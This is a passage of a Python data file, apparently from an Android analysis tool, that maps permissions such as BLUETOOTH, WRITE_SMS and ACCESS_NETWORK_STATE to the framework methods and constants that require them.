("F", "getConfiguredNetworks", "()"),
("F", "getConnectionInfo", "()"),
("F", "getDhcpInfo", "()"),
("F", "getNumAllowedChannels", "()"),
("F", "getScanResults", "()"),
("F", "getValidChannelCounts", "()"),
("F", "getWifiApState", "()"),
("F", "getWifiState", "()"),
("F", "isMulticastEnabled", "()"),
("F", "isWifiApEnabled", "()"),
("F", "isWifiEnabled", "()"),
],
},
"READ_HISTORY_BOOKMARKS": {
"Landroid/webkit/WebIconDatabase;": [
("F", "bulkRequestIconForPageUrl",
"(Landroid/content/ContentResolver; Ljava/lang/String; Landroid/webkit/WebIconDatabase$IconListener;)"
),
],
"Landroid/provider/Browser;": [
("C", "BOOKMARKS_URI", "Landroid/net/Uri;"),
("C", "SEARCHES_URI", "Landroid/net/Uri;"),
("F", "addSearchUrl",
"(Landroid/content/ContentResolver; Ljava/lang/String;)"),
("F", "canClearHistory", "(Landroid/content/ContentResolver;)"),
("F", "getAllBookmarks", "(Landroid/content/ContentResolver;)"),
("F", "getAllVisitedUrls", "(Landroid/content/ContentResolver;)"),
("F", "requestAllIcons",
"(Landroid/content/ContentResolver; Ljava/lang/String; Landroid/webkit/WebIconDatabase/IconListener;)"
),
("F", "truncateHistory", "(Landroid/content/ContentResolver;)"),
("F", "updateVisitedHistory",
"(Landroid/content/ContentResolver; Ljava/lang/String; B)"),
("F", "addSearchUrl",
"(Landroid/content/ContentResolver; Ljava/lang/String;)"),
("F", "canClearHistory", "(Landroid/content/ContentResolver;)"),
("F", "clearHistory", "(Landroid/content/ContentResolver;)"),
("F", "deleteFromHistory",
"(Landroid/content/ContentResolver; Ljava/lang/String;)"),
("F", "deleteHistoryTimeFrame",
"(Landroid/content/ContentResolver; J J)"),
("F", "deleteHistoryWhere",
"(Landroid/content/ContentResolver; Ljava/lang/String;)"),
("F", "getAllBookmarks", "(Landroid/content/ContentResolver;)"),
("F", "getAllVisitedUrls", "(Landroid/content/ContentResolver;)"),
("F", "getVisitedHistory", "(Landroid/content/ContentResolver;)"),
("F", "getVisitedLike",
"(Landroid/content/ContentResolver; Ljava/lang/String;)"),
("F", "requestAllIcons",
"(Landroid/content/ContentResolver; Ljava/lang/String; Landroid/webkit/WebIconDatabase$IconListener;)"
),
("F", "truncateHistory", "(Landroid/content/ContentResolver;)"),
("F", "updateVisitedHistory",
"(Landroid/content/ContentResolver; Ljava/lang/String; B)"),
],
},
"ASEC_DESTROY": {
"Landroid/os/storage/IMountService$Stub$Proxy;": [
("F", "destroySecureContainer", "(Ljava/lang/String; B)"),
],
},
"ACCESS_NETWORK_STATE": {
"Landroid/net/ThrottleManager;": [
("F", "getByteCount", "(Ljava/lang/String; I I I)"),
("F", "getCliffLevel", "(Ljava/lang/String; I)"),
("F", "getCliffThreshold", "(Ljava/lang/String; I)"),
("F", "getHelpUri", "()"),
("F", "getPeriodStartTime", "(Ljava/lang/String;)"),
("F", "getResetTime", "(Ljava/lang/String;)"),
],
"Landroid/net/NetworkInfo;": [
("F", "isConnectedOrConnecting", "()"),
],
"Landroid/os/INetworkManagementService$Stub$Proxy;": [
("F", "getDnsForwarders", "()"),
("F", "getInterfaceRxCounter", "(Ljava/lang/String;)"),
("F", "getInterfaceRxThrottle", "(Ljava/lang/String;)"),
("F", "getInterfaceTxCounter", "(Ljava/lang/String;)"),
("F", "getInterfaceTxThrottle", "(Ljava/lang/String;)"),
("F", "getIpForwardingEnabled", "()"),
("F", "isTetheringStarted", "()"),
("F", "isUsbRNDISStarted", "()"),
("F", "listInterfaces", "()"),
("F", "listTetheredInterfaces", "()"),
("F", "listTtys", "()"),
],
"Landroid/net/IConnectivityManager$Stub$Proxy;": [
("F", "getActiveNetworkInfo", "()"),
("F", "getAllNetworkInfo", "()"),
("F", "getLastTetherError", "(Ljava/lang/String;)"),
("F", "getMobileDataEnabled", "()"),
("F", "getNetworkInfo", "(I)"),
("F", "getNetworkPreference", "()"),
("F", "getTetherableIfaces", "()"),
("F", "getTetherableUsbRegexs", "()"),
("F", "getTetherableWifiRegexs", "()"),
("F", "getTetheredIfaces", "()"),
("F", "getTetheringErroredIfaces", "()"),
("F", "isTetheringSupported", "()"),
("F", "startUsingNetworkFeature",
"(I Ljava/lang/String; Landroid/os/IBinder;)"),
],
"Landroid/net/IThrottleManager$Stub$Proxy;": [
("F", "getByteCount", "(Ljava/lang/String; I I I)"),
("F", "getCliffLevel", "(Ljava/lang/String; I)"),
("F", "getCliffThreshold", "(Ljava/lang/String; I)"),
("F", "getHelpUri", "()"),
("F", "getPeriodStartTime", "(Ljava/lang/String;)"),
("F", "getResetTime", "(Ljava/lang/String;)"),
("F", "getThrottle", "(Ljava/lang/String;)"),
],
"Landroid/net/ConnectivityManager;": [
("F", "getActiveNetworkInfo", "()"),
("F", "getAllNetworkInfo", "()"),
("F", "getLastTetherError", "(Ljava/lang/String;)"),
("F", "getMobileDataEnabled", "()"),
("F", "getNetworkInfo", "(I)"),
("F", "getNetworkPreference", "()"),
("F", "getTetherableIfaces", "()"),
("F", "getTetherableUsbRegexs", "()"),
("F", "getTetherableWifiRegexs", "()"),
("F", "getTetheredIfaces", "()"),
("F", "getTetheringErroredIfaces", "()"),
("F", "isTetheringSupported", "()"),
],
"Landroid/net/http/RequestQueue;": [
("F", "enablePlatformNotifications", "()"),
("F", "setProxyConfig", "()"),
],
},
"GET_TASKS": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "getRecentTasks", "(I I)"),
("F", "getTasks", "(I I Landroid/app/IThumbnailReceiver;)"),
],
"Landroid/app/ActivityManagerNative;": [
("F", "getRecentTasks", "(I I)"),
("F", "getRunningTasks", "(I)"),
],
"Landroid/app/ActivityManager;": [
("F", "getRecentTasks", "(I I)"),
("F", "getRunningTasks", "(I)"),
("F", "getRecentTasks", "(I I)"),
("F", "getRunningTasks", "(I)"),
],
},
"STATUS_BAR": {
"Landroid/view/View/OnSystemUiVisibilityChangeListener;": [
("F", "onSystemUiVisibilityChange", "(I)"),
],
"Landroid/view/View;": [
("C", "STATUS_BAR_HIDDEN", "I"),
("C", "STATUS_BAR_VISIBLE", "I"),
],
"Landroid/app/StatusBarManager;": [
("F", "addIcon", "(Ljava/lang/String; I I)"),
("F", "disable", "(I)"),
("F", "removeIcon", "(Landroid/os/IBinder;)"),
("F", "updateIcon", "(Landroid/os/IBinder; Ljava/lang/String; I I)"
),
],
"Landroid/view/WindowManager/LayoutParams;": [
("C", "TYPE_STATUS_BAR", "I"),
("C", "TYPE_STATUS_BAR_PANEL", "I"),
("C", "systemUiVisibility", "I"),
("C", "type", "I"),
],
"Landroid/app/IStatusBar$Stub$Proxy;": [
("F", "addIcon", "(Ljava/lang/String; Ljava/lang/String; I I)"),
("F", "disable", "(I Landroid/os/IBinder; Ljava/lang/String;)"),
("F", "removeIcon", "(Landroid/os/IBinder;)"),
("F", "updateIcon",
"(Landroid/os/IBinder; Ljava/lang/String; Ljava/lang/String; I I)"
),
],
},
"SHUTDOWN": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "shutdown", "(I)"),
],
"Landroid/os/IMountService$Stub$Proxy;": [
("F", "shutdow", "()"),
],
"Landroid/os/storage/IMountService$Stub$Proxy;": [
("F", "shutdown", "(Landroid/os/storage/IMountShutdownObserver;)"),
],
"Landroid/os/INetworkManagementService$Stub$Proxy;": [
("F", "shutdown", "()"),
],
},
"READ_LOGS": {
"Landroid/os/DropBoxManager;": [
("C", "ACTION_DROPBOX_ENTRY_ADDED", "Ljava/lang/String;"),
("F", "getNextEntry", "(Ljava/lang/String; J)"),
("F", "getNextEntry", "(Ljava/lang/String; J)"),
],
"Lcom/android/internal/os/IDropBoxManagerService$Stub$Proxy;": [
("F", "getNextEntry", "(Ljava/lang/String; J)"),
],
"Ljava/lang/Runtime;": [
("F", "exec", "(Ljava/lang/String;)"),
("F", "exec", "([Ljava/lang/String;)"),
("F", "exec", "([Ljava/lang/String; [Ljava/lang/String;)"),
("F", "exec",
"([Ljava/lang/String; [Ljava/lang/String; Ljava/io/File;)"),
("F", "exec", "(Ljava/lang/String; [Ljava/lang/String;)"),
("F", "exec",
"(Ljava/lang/String; [Ljava/lang/String; Ljava/io/File;)"),
],
},
"BLUETOOTH": {
"Landroid/os/Process;": [
("C", "BLUETOOTH_GID", "I"),
],
"Landroid/bluetooth/BluetoothA2dp;": [
("C", "ACTION_CONNECTION_STATE_CHANGED", "Ljava/lang/String;"),
("C", "ACTION_PLAYING_STATE_CHANGED", "Ljava/lang/String;"),
("F", "getConnectedDevices", "()"),
("F", "getConnectionState", "(Landroid/bluetooth/BluetoothDevice;)"
),
("F", "getDevicesMatchingConnectionStates", "([I)"),
("F", "isA2dpPlaying", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "getConnectedSinks", "()"),
("F", "getNonDisconnectedSinks", "()"),
("F", "getSinkPriority", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "getSinkState", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "isSinkConnected", "(Landroid/bluetooth/BluetoothDevice;)"),
],
"Landroid/media/AudioManager;": [
("C", "ROUTE_BLUETOOTH", "I"),
("C", "ROUTE_BLUETOOTH_A2DP", "I"),
("C", "ROUTE_BLUETOOTH_SCO", "I"),
],
"Landroid/bluetooth/IBluetoothA2dp$Stub$Proxy;": [
("F", "getConnectedSinks", "()"),
("F", "getNonDisconnectedSinks", "()"),
("F", "getSinkPriority", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "getSinkState", "(Landroid/bluetooth/BluetoothDevice;)"),
],
"Landroid/bluetooth/BluetoothSocket;": [
("F", "connect", "()"),
],
"Landroid/bluetooth/BluetoothPbap;": [
("F", "getClient", "()"),
("F", "getState", "()"),
("F", "isConnected", "(Landroid/bluetooth/BluetoothDevice;)"),
],
"Landroid/provider/Settings/System;": [
("C", "AIRPLANE_MODE_RADIOS", "Ljava/lang/String;"),
("C", "BLUETOOTH_DISCOVERABILITY", "Ljava/lang/String;"),
("C", "BLUETOOTH_DISCOVERABILITY_TIMEOUT", "Ljava/lang/String;"),
("C", "BLUETOOTH_ON", "Ljava/lang/String;"),
("C", "RADIO_BLUETOOTH", "Ljava/lang/String;"),
("C", "VOLUME_BLUETOOTH_SCO", "Ljava/lang/String;"),
],
"Landroid/provider/Settings;": [
("C", "ACTION_BLUETOOTH_SETTINGS", "Ljava/lang/String;"),
],
"Landroid/bluetooth/IBluetooth$Stub$Proxy;": [
("F", "addRfcommServiceRecord",
"(Ljava/lang/String; Landroid/os/ParcelUuid; I Landroid/os/IBinder;)"
),
("F", "fetchRemoteUuids",
"(Ljava/lang/String; Landroid/os/ParcelUuid; Landroid/bluetooth/IBluetoothCallback;)"
),
("F", "getAddress", "()"),
("F", "getBluetoothState", "()"),
("F", "getBondState", "(Ljava/lang/String;)"),
("F", "getDiscoverableTimeout", "()"),
("F", "getName", "()"),
("F", "getRemoteClass", "(Ljava/lang/String;)"),
("F", "getRemoteName", "(Ljava/lang/String;)"),
("F", "getRemoteServiceChannel",
"(Ljava/lang/String; Landroid/os/ParcelUuid;)"),
("F", "getRemoteUuids", "(Ljava/lang/String;)"),
("F", "getScanMode", "()"),
("F", "getTrustState", "(Ljava/lang/String;)"),
("F", "isDiscovering", "()"),
("F", "isEnabled", "()"),
("F", "listBonds", "()"),
("F", "removeServiceRecord", "(I)"),
],
"Landroid/bluetooth/BluetoothAdapter;": [
("C", "ACTION_CONNECTION_STATE_CHANGED", "Ljava/lang/String;"),
("C", "ACTION_DISCOVERY_FINISHED", "Ljava/lang/String;"),
("C", "ACTION_DISCOVERY_STARTED", "Ljava/lang/String;"),
("C", "ACTION_LOCAL_NAME_CHANGED", "Ljava/lang/String;"),
("C", "ACTION_REQUEST_DISCOVERABLE", "Ljava/lang/String;"),
("C", "ACTION_REQUEST_ENABLE", "Ljava/lang/String;"),
("C", "ACTION_SCAN_MODE_CHANGED", "Ljava/lang/String;"),
("C", "ACTION_STATE_CHANGED", "Ljava/lang/String;"),
("F", "cancelDiscovery", "()"),
("F", "disable", "()"),
("F", "enable", "()"),
("F", "getAddress", "()"),
("F", "getBondedDevices", "()"),
("F", "getName", "()"),
("F", "getScanMode", "()"),
("F", "getState", "()"),
("F", "isDiscovering", "()"),
("F", "isEnabled", "()"),
("F", "listenUsingInsecureRfcommWithServiceRecord",
"(Ljava/lang/String; Ljava/util/UUID;)"),
("F", "listenUsingRfcommWithServiceRecord",
"(Ljava/lang/String; Ljava/util/UUID;)"),
("F", "setName", "(Ljava/lang/String;)"),
("F", "startDiscovery", "()"),
("F", "getAddress", "()"),
("F", "getBondedDevices", "()"),
("F", "getDiscoverableTimeout", "()"),
("F", "getName", "()"),
("F", "getScanMode", "()"),
("F", "getState", "()"),
("F", "isDiscovering", "()"),
("F", "isEnabled", "()"),
("F", "listenUsingRfcommWithServiceRecord",
"(Ljava/lang/String; Ljava/util/UUID;)"),
],
"Landroid/bluetooth/BluetoothProfile;": [
("F", "getConnectedDevices", "()"),
("F", "getConnectionState", "(Landroid/bluetooth/BluetoothDevice;)"
),
("F", "getDevicesMatchingConnectionStates", "([I)"),
],
"Landroid/bluetooth/BluetoothHeadset;": [
("C", "ACTION_AUDIO_STATE_CHANGED", "Ljava/lang/String;"),
("C", "ACTION_CONNECTION_STATE_CHANGED", "Ljava/lang/String;"),
("C", "ACTION_VENDOR_SPECIFIC_HEADSET_EVENT", "Ljava/lang/String;"),
("F", "getConnectedDevices", "()"),
("F", "getConnectionState", "(Landroid/bluetooth/BluetoothDevice;)"
),
("F", "getDevicesMatchingConnectionStates", "([I)"),
("F", "isAudioConnected", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "startVoiceRecognition",
"(Landroid/bluetooth/BluetoothDevice;)"),
("F", "stopVoiceRecognition",
"(Landroid/bluetooth/BluetoothDevice;)"),
("F", "getBatteryUsageHint", "()"),
("F", "getCurrentHeadset", "()"),
("F", "getPriority", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "getState", "()"),
("F", "isConnected", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "startVoiceRecognition", "()"),
("F", "stopVoiceRecognition", "()"),
],
"Landroid/bluetooth/IBluetoothHeadset$Stub$Proxy;": [
("F", "getBatteryUsageHint", "()"),
("F", "getCurrentHeadset", "()"),
("F", "getPriority", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "getState", "()"),
("F", "isConnected", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "startVoiceRecognition", "()"),
("F", "stopVoiceRecognition", "()"),
],
"Landroid/bluetooth/BluetoothDevice;": [
("C", "ACTION_ACL_CONNECTED", "Ljava/lang/String;"),
("C", "ACTION_ACL_DISCONNECTED", "Ljava/lang/String;"),
("C", "ACTION_ACL_DISCONNECT_REQUESTED", "Ljava/lang/String;"),
("C", "ACTION_BOND_STATE_CHANGED", "Ljava/lang/String;"),
("C", "ACTION_CLASS_CHANGED", "Ljava/lang/String;"),
("C", "ACTION_FOUND", "Ljava/lang/String;"),
("C", "ACTION_NAME_CHANGED", "Ljava/lang/String;"),
("F", "createInsecureRfcommSocketToServiceRecord",
"(Ljava/util/UUID;)"),
("F", "createRfcommSocketToServiceRecord", "(Ljava/util/UUID;)"),
("F", "getBluetoothClass", "()"),
("F", "getBondState", "()"),
("F", "getName", "()"),
("F", "createRfcommSocketToServiceRecord", "(Ljava/util/UUID;)"),
("F", "fetchUuidsWithSdp", "()"),
("F", "getBondState", "()"),
("F", "getName", "()"),
("F", "getServiceChannel", "(Landroid/os/ParcelUuid;)"),
("F", "getUuids", "()"),
],
"Landroid/server/BluetoothA2dpService;": [
("F", "<init>",
"(Landroid/content/Context; Landroid/server/BluetoothService;)"),
("F", "addAudioSink", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "getConnectedSinks", "()"),
("F", "getNonDisconnectedSinks", "()"),
("F", "getSinkPriority", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "getSinkState", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "isSinkDevice", "(Landroid/bluetooth/BluetoothDevice;)"),
("F", "lookupSinksMatchingStates", "([I)"),
("F", "onConnectSinkResult", "(Ljava/lang/String; B)"),
("F", "onSinkPropertyChanged",
"(Ljava/lang/String; [L[Ljava/lang/Strin;)"),
],
"Landroid/provider/Settings/Secure;": [
("C", "BLUETOOTH_ON", "Ljava/lang/String;"),
],
"Landroid/bluetooth/IBluetoothPbap$Stub$Proxy;": [
("F", "getClient", "()"),
("F", "getState", "()"),
("F", "isConnected", "(Landroid/bluetooth/BluetoothDevice;)"),
],
"Landroid/server/BluetoothService;": [
("F", "addRemoteDeviceProperties",
"(Ljava/lang/String; [L[Ljava/lang/Strin;)"),
("F", "addRfcommServiceRecord",
"(Ljava/lang/String; Landroid/os/ParcelUuid; I Landroid/os/IBinder;)"
),
("F", "fetchRemoteUuids",
"(Ljava/lang/String; Landroid/os/ParcelUuid; Landroid/bluetooth/IBluetoothCallback;)"
),
("F", "getAddress", "()"),
("F", "getAddressFromObjectPath", "(Ljava/lang/String;)"),
("F", "getAllProperties", "()"),
("F", "getBluetoothState", "()"),
("F", "getBondState", "(Ljava/lang/String;)"),
("F", "getDiscoverableTimeout", "()"),
("F", "getName", "()"),
("F", "getObjectPathFromAddress", "(Ljava/lang/String;)"),
("F", "getProperty", "(Ljava/lang/String;)"),
("F", "getPropertyInternal", "(Ljava/lang/String;)"),
("F", "getRemoteClass", "(Ljava/lang/String;)"),
("F", "getRemoteName", "(Ljava/lang/String;)"),
("F", "getRemoteServiceChannel",
"(Ljava/lang/String; Landroid/os/ParcelUuid;)"),
("F", "getRemoteUuids", "(Ljava/lang/String;)"),
("F", "getScanMode", "()"),
("F", "getTrustState", "(Ljava/lang/String;)"),
("F", "isDiscovering", "()"),
("F", "isEnabled", "()"),
("F", "listBonds", "()"),
("F", "removeServiceRecord", "(I)"),
("F", "sendUuidIntent", "(Ljava/lang/String;)"),
("F", "setLinkTimeout", "(Ljava/lang/String; I)"),
("F", "setPropertyBoolean", "(Ljava/lang/String; B)"),
("F", "setPropertyInteger", "(Ljava/lang/String; I)"),
("F", "setPropertyString", "(Ljava/lang/String; Ljava/lang/String;)"
),
("F", "updateDeviceServiceChannelCache", "(Ljava/lang/String;)"),
("F", "updateRemoteDevicePropertiesCache", "(Ljava/lang/String;)"),
],
"Landroid/content/pm/PackageManager;": [
("C", "FEATURE_BLUETOOTH", "Ljava/lang/String;"),
],
"Landroid/bluetooth/BluetoothAssignedNumbers;": [
("C", "BLUETOOTH_SIG", "I"),
],
},
"CLEAR_APP_USER_DATA": {
"Landroid/app/ActivityManagerNative;": [
("F", "clearApplicationUserData",
"(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)"),
],
"Landroid/app/ContextImpl$ApplicationPackageManager;": [
("F", "clearApplicationUserData",
"(Ljava/lang/String; LIPackageDataObserver;)"),
("F", "clearApplicationUserData",
"(Ljava/lang/String; LIPackageDataObserver;)"),
],
"Landroid/app/ActivityManager;": [
("F", "clearApplicationUserData",
"(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)"),
],
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "clearApplicationUserData",
"(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)"),
],
"Landroid/content/pm/PackageManager;": [
("F", "clearApplicationUserData",
"(Ljava/lang/String; LIPackageDataObserver;)"),
],
"Landroid/content/pm/IPackageManager$Stub$Proxy;": [
("F", "clearApplicationUserData",
"(Ljava/lang/String; Landroid/content/pm/IPackageDataObserver;)"),
],
},
"WRITE_SMS": {
"Landroid/provider/Telephony$Sms;": [
("F", "addMessageToUri",
"(Landroid/content/ContentResolver; Landroid/net/Uri; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long; B B J)"
),
("F", "addMessageToUri",
"(Landroid/content/ContentResolver; Landroid/net/Uri; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long; B B)"
),
("F", "moveMessageToFolder",
"(Landroid/content/Context; Landroid/net/Uri; I I)"),
],
"Landroid/provider/Telephony$Sms$Outbox;": [
("F", "addMessage",
"(Landroid/content/ContentResolver; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/Long; B J)"
),
],
"Landroid/provider/Telephony$Sms$Draft;": [
("F", "saveMessage",
"(Landroid/content/ContentResolver; Landroid/net/Uri; Ljava/lang/String;)"
),
],
},
"SET_PROCESS_LIMIT": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "setProcessForeground", "(Landroid/os/IBinder; I B)"),
("F", "setProcessLimit", "(I)"),
],
},
"DEVICE_POWER": {
"Landroid/os/PowerManager;": [
("F", "goToSleep", "(J)"),
("F", "setBacklightBrightness", "(I)"),
],
"Landroid/os/IPowerManager$Stub$Proxy;": [
("F", "clearUserActivityTimeout", "(J J)"),
("F", "goToSleep", "(J)"),
("F", "goToSleepWithReason", "(J I)"),
("F", "preventScreenOn", "(B)"),
("F", "setAttentionLight", "(B I)"),
("F", "setBacklightBrightness", "(I)"),
("F", "setPokeLock", "(I Landroid/os/IBinder; Ljava/lang/String;)"),
("F", "userActivityWithForce", "(J B B)"),
],
},
"PERSISTENT_ACTIVITY": {
"Landroid/app/ExpandableListActivity;": [
("F", "setPersistent", "(B)"),
],
"Landroid/accounts/GrantCredentialsPermissionActivity;": [
("F", "setPersistent", "(B)"),
],
"Landroid/app/Activity;": [
("F", "setPersistent", "(B)"),
],
"Landroid/app/ListActivity;": [
("F", "setPersistent", "(B)"),
],
"Landroid/app/AliasActivity;": [
("F", "setPersistent", "(B)"),
],
"Landroid/accounts/AccountAuthenticatorActivity;": [
("F", "setPersistent", "(B)"),
],
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "setPersistent", "(Landroid/os/IBinder; B)"),
],
"Landroid/app/TabActivity;": [
("F", "setPersistent", "(B)"),
],
"Landroid/app/ActivityGroup;": [
("F", "setPersistent", "(B)"),
],
},
"MANAGE_APP_TOKENS": {
"Landroid/view/IWindowManager$Stub$Proxy;": [
("F", "addAppToken", "(I Landroid/view/IApplicationToken; I I B)"),
("F", "addWindowToken", "(Landroid/os/IBinder; I)"),
("F", "executeAppTransition", "()"),
("F", "moveAppToken", "(I Landroid/os/IBinder;)"),
("F", "moveAppTokensToBottom", "(Ljava/util/List;)"),
("F", "moveAppTokensToTop", "(Ljava/util/List;)"),
("F", "pauseKeyDispatching", "(Landroid/os/IBinder;)"),
("F", "prepareAppTransition", "(I)"),
("F", "removeAppToken", "(Landroid/os/IBinder;)"),
("F", "removeWindowToken", "(Landroid/os/IBinder;)"),
("F", "resumeKeyDispatching", "(Landroid/os/IBinder;)"),
("F", "setAppGroupId", "(Landroid/os/IBinder; I)"),
("F", "setAppOrientation", "(Landroid/view/IApplicationToken; I)"),
("F", "setAppStartingWindow",
"(Landroid/os/IBinder; Ljava/lang/String; I Ljava/lang/CharSequence; I I Landroid/os/IBinder; B)"
),
("F", "setAppVisibility", "(Landroid/os/IBinder; B)"),
("F", "setAppWillBeHidden", "(Landroid/os/IBinder;)"),
("F", "setEventDispatching", "(B)"),
("F", "setFocusedApp", "(Landroid/os/IBinder; B)"),
("F", "setNewConfiguration", "(Landroid/content/res/Configuration;)"
),
("F", "startAppFreezingScreen", "(Landroid/os/IBinder; I)"),
("F", "stopAppFreezingScreen", "(Landroid/os/IBinder; B)"),
("F", "updateOrientationFromAppTokens",
"(Landroid/content/res/Configuration; Landroid/os/IBinder;)"),
],
},
"WRITE_HISTORY_BOOKMARKS": {
"Landroid/provider/Browser;": [
("C", "BOOKMARKS_URI", "Landroid/net/Uri;"),
("C", "SEARCHES_URI", "Landroid/net/Uri;"),
("F", "addSearchUrl",
"(Landroid/content/ContentResolver; Ljava/lang/String;)"),
("F", "clearHistory", "(Landroid/content/ContentResolver;)"),
("F", "clearSearches", "(Landroid/content/ContentResolver;)"),
("F", "deleteFromHistory",
"(Landroid/content/ContentResolver; Ljava/lang/String;)"),
("F", "deleteHistoryTimeFrame",
"(Landroid/content/ContentResolver; J J)"),
("F", "truncateHistory", "(Landroid/content/ContentResolver;)"),
("F", "updateVisitedHistory",
"(Landroid/content/ContentResolver; Ljava/lang/String; B)"),
("F", "clearSearches", "(Landroid/content/ContentResolver;)"),
],
},
"FORCE_BACK": {
"Landroid/app/IActivityManager$Stub$Proxy;": [
("F", "unhandledBack", "(I)"),
],
},
"CHANGE_NETWORK_STATE": {
"Landroid/net/IConnectivityManager$Stub$Proxy;": [
("F", "requestRouteToHost", "(I I)"),
("F", "setMobileDataEnabled", "(B)"),
("F", "setNetworkPreference", "(I)"),
("F", "setRadio", "(I B)"),
("F", "setRadios", "(B)"),
("F", "stopUsingNetworkFeature", "(I Ljava/lang/String;)"),
("F", "tether", "(Ljava/lang/String;)"),
("F", "untether", "(Ljava/lang/String;)"),
],
"Landroid/net/ConnectivityManager;": [
("F", "requestRouteToHost", "(I I)"),
("F", "setMobileDataEnabled", "(B)"),
("F", "setNetworkPreference", "(I)"),
("F", "setRadio", "(I B)"),
("F", "setRadios", "(B)"),
("F", "startUsingNetworkFeature", "(I Ljava/lang/String;)"),
("F", "stopUsingNetworkFeature", "(I Ljava/lang/String;)"),
("F", "tether", "(Ljava/lang/String;)"),
("F", "untether", "(Ljava/lang/String;)"),
],
"Landroid/os/INetworkManagementService$Stub$Proxy;": [
("F", "attachPppd",
"(Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "detachPppd", "(Ljava/lang/String;)"),
("F", "disableNat", "(Ljava/lang/String; Ljava/lang/String;)"),
("F", "enableNat", "(Ljava/lang/String; Ljava/lang/String;)"),
("F", "setAccessPoint",
"(Landroid/net/wifi/WifiConfiguration; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "setInterfaceThrottle", "(Ljava/lang/String; I I)"),
("F", "setIpForwardingEnabled", "(B)"),
("F", "startAccessPoint",
"(Landroid/net/wifi/WifiConfiguration; Ljava/lang/String; Ljava/lang/String;)"
),
("F", "startUsbRNDIS", "()"),
("F", "stopAccessPoint", "()"),
("F", "stopTethering", "()"),
("F", "stopUsbRNDIS", "()"),
("F", "tetherInterface", "(Ljava/lang/String;)"),
("F", "unregisterObserver",
"(Landroid/net/INetworkManagementEventObserver;)"),
("F", "untetherInterface", "(Ljava/lang/String;)"),
],
},
"WRITE_SYNC_SETTINGS": {
"Landroid/app/ContextImpl$ApplicationContentResolver;": [
("F", "addPeriodicSync",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; J)"
),
("F", "removePeriodicSync",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "setIsSyncable",
"(Landroid/accounts/Account; Ljava/lang/String; I)"),
("F", "setMasterSyncAutomatically", "(B)"),
("F", "setSyncAutomatically",
"(Landroid/accounts/Account; Ljava/lang/String; B)"),
],
"Landroid/content/ContentService;": [
("F", "addPeriodicSync",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; J)"
),
("F", "removePeriodicSync",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "setIsSyncable",
"(Landroid/accounts/Account; Ljava/lang/String; I)"),
("F", "setMasterSyncAutomatically", "(B)"),
("F", "setSyncAutomatically",
"(Landroid/accounts/Account; Ljava/lang/String; B)"),
],
"Landroid/content/ContentResolver;": [
("F", "addPeriodicSync",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; J)"
),
("F", "removePeriodicSync",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "setIsSyncable",
"(Landroid/accounts/Account; Ljava/lang/String; I)"),
("F", "setMasterSyncAutomatically", "(B)"),
("F", "setSyncAutomatically",
"(Landroid/accounts/Account; Ljava/lang/String; B)"),
],
"Landroid/content/IContentService$Stub$Proxy;": [
("F", "addPeriodicSync",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle; J)"
),
("F", "removePeriodicSync",
"(Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "setIsSyncable",
"(Landroid/accounts/Account; Ljava/lang/String; I)"),
("F", "setMasterSyncAutomatically", "(B)"),
("F", "setSyncAutomatically",
"(Landroid/accounts/Account; Ljava/lang/String; B)"),
],
},
"ACCOUNT_MANAGER": {
"Landroid/accounts/AccountManager;": [
("C", "KEY_ACCOUNT_MANAGER_RESPONSE", "Ljava/lang/String;"),
],
"Landroid/accounts/AbstractAccountAuthenticator;": [
("F", "checkBinderPermission", "()"),
("F", "confirmCredentials",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Landroid/os/Bundle;)"
),
("F", "editProperties",
"(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)"
),
("F", "getAccountRemovalAllowed",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account;)"
),
("F", "getAuthToken",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "getAuthTokenLabel",
"(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String;)"
),
("F", "hasFeatures",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; [L[Ljava/lang/Strin;)"
),
("F", "updateCredentials",
"(Landroid/accounts/IAccountAuthenticatorResponse; Landroid/accounts/Account; Ljava/lang/String; Landroid/os/Bundle;)"
),
("F", "addAccount",
"(Landroid/accounts/IAccountAuthenticatorResponse; Ljava/lang/String; Ljava/lang/String; [L[Ljava/lang/Strin; Landroid/os/Bundle;)"
),
],
